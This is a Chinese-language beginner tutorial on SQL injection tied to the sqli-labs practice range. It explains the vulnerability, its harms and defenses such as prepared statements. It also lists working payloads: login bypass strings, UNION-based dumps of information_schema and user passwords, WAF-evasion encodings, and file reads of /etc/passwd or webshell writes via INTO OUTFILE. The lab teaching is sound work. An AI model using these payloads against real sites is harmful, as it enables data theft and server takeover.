前言
本文介绍了sql注入;解题步骤总结;链接了sqli-labs的相关内容:怎么部署 sqli-Labs(SQL 注入练习靶场)及less1、2讲解-CSDN博客
sql注入简介
SQL注入(SQL Injection,简称SQLi)是Web安全领域最著名、最危险的漏洞之一。简单来说,它就像是黑客利用你网站的输入框,直接对后台数据库下达了“非法指令”。
为了让你更全面地了解它,我为你整理了以下核心要点:
1. 什么是 SQL 注入?
想象一下,你去餐厅点菜,菜单上写着“今日特价:鱼”。
- 正常情况:你告诉服务员“我要鱼”,服务员去厨房下单。
- SQL注入:你告诉服务员“我要鱼;把厨房炸了”。如果服务员(应用程序)傻傻地把这句话原封不动传给厨房(数据库),厨房可能真的会执行“炸厨房”的操作。
技术定义:攻击者在Web表单、URL参数等输入区域,插入恶意的SQL命令,欺骗数据库服务器执行非授权的查询或操作。
2. 核心原理:为什么会被注入?
根本原因在于“数据与代码未分离”。
开发人员为了方便,直接将用户的输入拼接到SQL语句中,而没有进行过滤或验证。
- 正常代码逻辑:
SELECT * FROM users WHERE username = 'admin' AND password = '123456' - 被注入后的逻辑(假设密码框输入了
' OR '1'='1):SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1'
由于'1'='1'永远为真,黑客无需知道密码即可登录。
3. 它有什么危害?
SQL注入的危害极大,通常被称为“拖库”或“删库跑路”的元凶:
| 危害类型 | 具体后果 |
|---|---|
| 数据泄露 | 窃取用户名、密码、身份证号、信用卡信息等敏感数据。 |
| 数据篡改 | 修改账户余额、权限,甚至植入后门账号。 |
| 数据删除 | 清空数据库表,导致业务瘫痪(删库)。 |
| 服务器控制 | 在特定配置下,通过数据库执行系统命令,完全控制服务器。 |
4. 常见的注入类型
根据攻击手法和回显情况,主要分为以下几类:
- 联合查询注入:利用
UNION操作符,把黑客的查询结果和正常结果拼在一起显示。这是最常见、最基础的类型(如你之前练习的 Less-1)。 - 报错注入:故意让数据库报错,通过错误信息把数据“吐”出来。
- 盲注:页面不显示数据也不报错,黑客通过页面内容的“真/假”变化(布尔盲注)或页面响应的时间长短(时间盲注)来一点点猜解数据。
- 堆叠注入:一次执行多条SQL语句(如
; DROP TABLE users),危害极大。
5. 如何防御?
防御SQL注入的核心原则是:永远不要信任用户的输入。
- 使用预编译语句:这是最有效的防御手段。它会让数据库把SQL指令和数据分开处理,数据只会被当作纯文本,不会被当作命令执行。
- 输入验证:严格检查用户输入的类型(如ID必须是数字)、长度和格式。
- 最小权限原则:连接数据库的账号不要给
root或sa权限,只给必要的读写权限。
6. 真实案例
SQL注入历史悠久,造成了无数重大安全事故:
- 2017年 Equifax 数据泄露:导致1.47亿用户的个人信息(包括社保号)泄露,损失超7亿美元。
- 2014年 索尼影业被黑:黑客利用SQL注入窃取了未发布的电影、员工薪资和内部邮件。
总结来说,SQL注入是Web安全的必修课。
大致解题步骤
📝 标准化解题“五步法”
你可以根据这个流程来解题:
第一步:探测(找注入点)
- 操作:加单引号
',加双引号",加and 1=1/and 1=2。 - 目的:
- 判断是数字型还是字符型(是否需要闭合符号)。
- 判断是报错显示(能看到错误信息)还是盲注(页面没变化)。
第二步:猜列数(Order By)
- 操作:
order by 3--+,order by 4--+... - 目的:确定查询结果有几列。如果不一致,页面会报错。
- Payload:
id=1' order by 3--+
第三步:找显示位(Union Select)
- 操作:让前面的查询结果为空(用
-1或99999),然后拼接union select。 - 目的:看页面上显示的是第几个数字(比如页面显示了 2 和 3,那你后面查数据库就要把函数放在第 2 或 3 的位置)。
- Payload:
id=-1' union select 1,2,3--
第四步:爆库爆表(Information_Schema)
- 操作:利用显示位,查询系统表。
- Payload(爆表名):
(注意:你之前的步骤里写的是-1' union select 1, group_concat(table_name), 3 from information_schema.tables where table_schema=database()--+schema='',建议直接写database(),这样不用自己猜库名)
第五步:爆字段爆数据
- 操作:知道了表名,去查列名;知道了列名,去查数据。
- Payload(爆列名):
-1' union select 1, group_concat(column_name), 3 from information_schema.columns where table_name='users'--+ - Payload(爆数据):
-1' union select 1, username, password from users--+
新手学习sql注入中会想到的问题
对的对的,我就是新手
如何分辨 SQL 注入的难易程度?
并不需要你从最简单的一个个试到难的,通常“一下就能看出来”或者通过简单的“报错测试”就能确定方向。
所谓的“难”与“容易”,主要取决于注入点的数据类型和闭合方式。
看 URL 参数形式(最直观的判断)
- 容易(数字型):如果 URL 是
id=1这种纯数字形式,通常是最简单的数字型注入。你不需要猜测闭合符号(单引号还是双引号),直接构造 SQL 逻辑即可。 - 中等(字符型):如果 URL 是
id=1'或username=admin,你需要先判断是用单引号'、双引号"还是括号()来闭合。 - 困难(搜索型/特殊型):如果参数看起来像搜索词,或者包含复杂的编码,可能需要尝试
%、_或者特定的闭合方式。
- 容易(数字型):如果 URL 是
使用“报错法”快速探测(核心技巧)
拿到一个注入点,不要瞎猜,直接加一个单引号'或者输入and 1=2看反应:- 报错(Error Based):页面上直接出现了 SQL 语法错误提示(如
You have an error in your SQL syntax)。这是最容易的,因为数据库直接告诉你它的语法结构是什么,甚至有时候会直接告诉你数据库版本。 - 无报错但内容消失(Union Based):页面空白或提示“找不到内容”,但没有 SQL 错误代码。这说明注入成功但被后台屏蔽了错误显示,你需要用
UNION联合查询。 - 页面完全一样(Blind/Boolean Based):无论怎么改,页面看起来都一样,只有细微差别(比如文字少了一行)。这比较难,需要通过“真假”逻辑(布尔盲注)或“时间延迟”(时间盲注)来猜解。
- 报错(Error Based):页面上直接出现了 SQL 语法错误提示(如
总结:看到id=数字且加了单引号报错,通常是字符型;看到id=数字加了单引号报错但加and 1=1正常,通常是数字型。
Payload是什么
通俗点说,Payload 就是“特制的武器”或“特殊的钥匙”。
在 SQL 注入里,它指的就是那一串包含恶意代码的字符串。
举个最简单的例子
假设网站的登录框代码逻辑是这样的:SELECT * FROM users WHERE username = '这里是你输入的内容';
普通输入(正常钥匙):
你输入admin。
数据库执行:SELECT * FROM users WHERE username = 'admin';
(这是正常的,只查 admin)Payload(特制武器):
你输入admin' #。
这串字符admin' #就是Payload。
数据库执行:SELECT * FROM users WHERE username = 'admin' #';
(#后面的内容被注释掉了,密码验证失效,你直接登录了)
总结:
Payload = 用来欺骗数据库、让它乖乖听话的那串代码。
简单的题我可不可以直接记payload
完全可以。在 SQL 注入里,Payload 其实就是固定的“公式”,尤其是像 Less-1 和 Less-2 这种基础关卡,直接背下来能帮你省下大量的推导时间。
对于你正在做的Less-2(数字型注入),你只需要记住下面这组“万能公式”即可。
Less-2 专属“背诵版”流程
1. 判断注入点
- 操作:在 URL 后面加
and 1=1或and 1=2。 - Payload:
id=1 and 1=1(页面正常)id=1 and 1=2(页面异常/无数据)
- 结论:没有单引号干扰,直接拼接数字,确认为数字型。
2. 爆列数
- Payload:
id=-1 order by 3--id=-1 order by 4-- - 技巧:把
id改成-1是为了让前面的查询失效,让页面只显示你后面UNION的数据。
3. 爆数据
- Payload:
id=-1 union select 1,2,3-- - 后续:看页面哪个位置显示数字,就把那个数字换成函数。
4. 核心函数
- 查库名/版本:
union select 1, database(), version()-- - 查表名:
union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=database()-- - 查列名:
union select 1,2, group_concat(column_name) from information_schema.columns where table_name='users'-- - 查数据:
union select 1,2, group_concat(username, ':', password) from users--
为什么 Less-2 比 Less-1 简单?
你可以对比一下:
- Less-1(字符型):你需要记
id=-1' union select 1,2,3 --+(注意那个单引号和后面的--+注释符)。 - Less-2(数字型):你只需要记
id=-1 union select 1,2,3。
区别在于:
- 不需要闭合符号:不用管是单引号还是双引号。
- 注释符可加可不加:因为是数字型,
id=1 union select...后面如果没有多余的符号,其实不需要--来注释,直接跑通也没问题(当然加上更严谨)。
总结
背下来是第一步,理解是第二步。
对于 Less-2,你只需要记住:id后面直接跟 SQL 语句,不需要加引号。只要掌握了这一点,剩下的步骤和 Less-1 完全一样。
那难一点的是怎么样的思路
面对更复杂的题目,关键在于从“记忆者”转变为“思考者”,建立起一套系统化的解题思路。
这套思路可以概括为四个核心阶段:信息收集、类型判断、策略制定、对抗与利用。
🔍 阶段一:信息收集与类型判断
这是所有后续操作的基础,目标是摸清“敌情”。
寻找注入点
- 常规位置:首先测试所有用户可控的输入点,包括 URL 参数(如
?id=1)、POST 表单(如登录框、搜索框)以及 HTTP 请求头(如Cookie,User-Agent)。 - 触发异常:在这些输入点尝试输入特殊字符,最常用的是单引号
'和双引号"。如果页面返回数据库错误(如SQL syntax error)或页面布局发生异常,这通常意味着存在注入点。
- 常规位置:首先测试所有用户可控的输入点,包括 URL 参数(如
判断注入类型
这是决定后续攻击策略的关键一步。你需要通过构造不同的测试语句,观察页面的响应来判断。- 字符型 vs. 数字型:
- 数字型:输入
id=1 and 1=1页面正常,输入id=1 and 1=2页面异常(如内容消失或报错)。 - 字符型:输入
id=1' and '1'='1页面正常,输入id=1' and '1'='2页面异常。这揭示了后端 SQL 语句是否用引号包裹了输入。
- 数字型:输入
- 联合查询 vs. 盲注 vs. 报错注入:
- 联合查询 (Union-Based):页面能正常显示查询结果。这是最理想的情况,可以直接通过
UNION SELECT将你的查询结果“拼接”到页面上显示出来。 - 盲注 (Blind SQLi):页面不显示任何数据库内容,也无法触发错误。你只能通过页面返回的“真/假”状态(布尔盲注)或响应时间的快慢(时间盲注)来逐位推断数据。
- 报错注入 (Error-Based):页面不显示查询结果,但会返回详细的数据库错误信息。你可以利用特定的函数(如 MySQL 的
extractvalue()或updatexml())将查询的数据“藏”在错误信息中回显出来。
- 联合查询 (Union-Based):页面能正常显示查询结果。这是最理想的情况,可以直接通过
- 字符型 vs. 数字型:
🧠 阶段二:策略制定与信息提取
一旦判断出注入类型,就可以制定相应的攻击策略,开始提取数据。
确定查询字段数
对于联合查询,你需要先知道原 SQL 语句查询了多少列。通过ORDER BY语句(如id=1' ORDER BY 3--)不断递增数字,直到页面报错,从而确定列数。探测数据库结构
无论哪种类型,目标都是获取数据库的结构信息。你需要利用数据库的“元数据”表(在 MySQL 中是information_schema)来查询:- 获取当前数据库名:
SELECT database() - 获取所有表名:
SELECT table_name FROM information_schema.tables WHERE table_schema=database() - 获取指定表的列名:
SELECT column_name FROM information_schema.columns WHERE table_name='目标表名'
- 获取当前数据库名:
提取敏感数据
在获取了表名和列名后,就可以构造最终的查询语句来获取flag、密码等敏感数据了。- 联合查询:直接使用
UNION SELECT将目标数据查询出来。 - 盲注/报错注入:需要配合
substr()、ascii()等函数,逐位猜解数据。这个过程非常繁琐,通常会编写 Python 脚本来自动化完成。
- 联合查询:直接使用
⚔️ 阶段三:对抗与利用(重点)
高难度的题目往往会设置各种障碍,考验你的对抗能力。
WAF/关键字过滤绕过:当发现
UNION、SELECT、空格等关键字被过滤时,需要运用绕过技巧:- 大小写混合:
UnIoN SeLeCt - 双写绕过:
UNIUNIONON SELESELECTCT - 内联注释:
/*!50000UNION*/ /*!50000SELECT*/ - 编码替换:使用
CHAR(117,110,105,111,110)或十六进制0x756e696f6e来代替字符串union。 - 空格绕过:使用
/**/、%09(Tab)、%0a(换行) 等替代空格。
- 大小写混合:
二次注入 (Second-Order SQLi):这是一种更隐蔽的攻击。攻击载荷首先被存入数据库(此时被转义,不会触发),然后在后续的另一个功能中,程序误以为库中数据是安全的而直接使用,从而触发注入。这需要你理解整个应用的交互流程。
自动化工具辅助:对于复杂的盲注,手动操作效率极低。熟练掌握 SQLMap 等工具,并理解其参数(如
--technique=B用于布尔盲注,-T指定表名),是解决难题的必备技能。
总而言之,解决难题的思路不是去匹配一个已知的 Payload,而是像侦探一样,通过观察和分析目标应用的每一个细微反馈,不断提出假设、验证假设,最终拼凑出完整的攻击路径。
适合学习的靶场--sqli-labs
能带你深入探索以下三个核心领域,帮助你构建更全面的 Web 安全知识体系:
🎯 多样化的注入场景与技术
sqli-labs的设计哲学是“分型分类”,它系统地覆盖了从基础到高阶的多种注入类型和特殊场景,让你理解不同环境下的利用方式。
按数据回显分类
- 联合查询注入 (UNION-Based):页面会直接回显数据库查询结果,是学习数据提取的基础。
- 报错注入 (Error-Based):页面不直接显示数据,但会返回数据库错误信息,通过构造特定语句让错误信息“携带”出数据。
- 盲注 (Blind SQLi):页面既无数据回显也无报错信息,只能通过页面内容的真假(布尔盲注)或响应时间的快慢(时间盲注)来逐位推断数据。
按注入点位置分类
- GET/POST 注入:最常见的注入方式,漏洞点位于 URL 参数或表单提交的数据中。
- HTTP 头部注入:漏洞点隐藏在
Cookie、User-Agent、Referer等 HTTP 请求头字段中,揭示了“一切输入皆不可信”的防御思想。
按数据类型和编码分类
- 字符型与数字型:区分参数是否被引号包裹,这决定了闭合方式的不同。
- 宽字节注入:利用数据库字符集(如 GBK)与应用程序编码(如 UTF-8)的差异,绕过单引号转义,是一种高级的绕过技巧。
特殊注入类型
- 二次注入 (Second-Order SQLi):攻击分为两步:首先将恶意数据存入数据库(此时被转义,不触发),然后在后续的查询中,程序误以为库中数据是安全的而直接使用,从而触发注入。
- 更新/插入语句注入:不仅限于
SELECT查询,还包括UPDATE、INSERT等场景,例如在修改密码功能中注入,可以直接篡改其他用户的密码。
🛡️ 进阶利用与防御对抗
sqli-labs不仅是学习攻击的平台,更是理解攻防对抗的绝佳环境。
WAF 绕过专项训练:靶场专门设置了需要绕过 Web 应用防火墙(WAF)的关卡。你需要学习并实践各种绕过技巧,例如:
- 使用内联注释
/*!50000SELECT*/替代关键字。 - 使用
CHAR()函数或十六进制编码来替换被过滤的字符串。 - 利用空格替换符(如
/**/、%09)绕过对空格的检测。
- 使用内联注释
文件读写操作:在满足特定条件(如数据库用户拥有
FILE权限且secure_file_priv配置允许)时,可以利用 SQL 注入读取服务器上的敏感文件(如/etc/passwd)或写入 Webshell(如INTO OUTFILE),从而获取服务器控制权。
💻 自动化与工具链实践
sqli-labs是一个理想的练习场,用于学习和实践自动化渗透测试工具。
- SQLMap 等工具的使用:你可以使用 SQLMap 等自动化工具对靶场进行扫描和利用,直观地理解工具的工作原理、参数含义以及它能自动完成的复杂操作。
- 编写自定义脚本:对于盲注等需要大量请求的场景,手动操作效率极低。通过编写 Python 等语言的脚本,可以实现数据的自动化提取,这不仅能提升效率,还能让你深入理解注入逻辑的底层实现。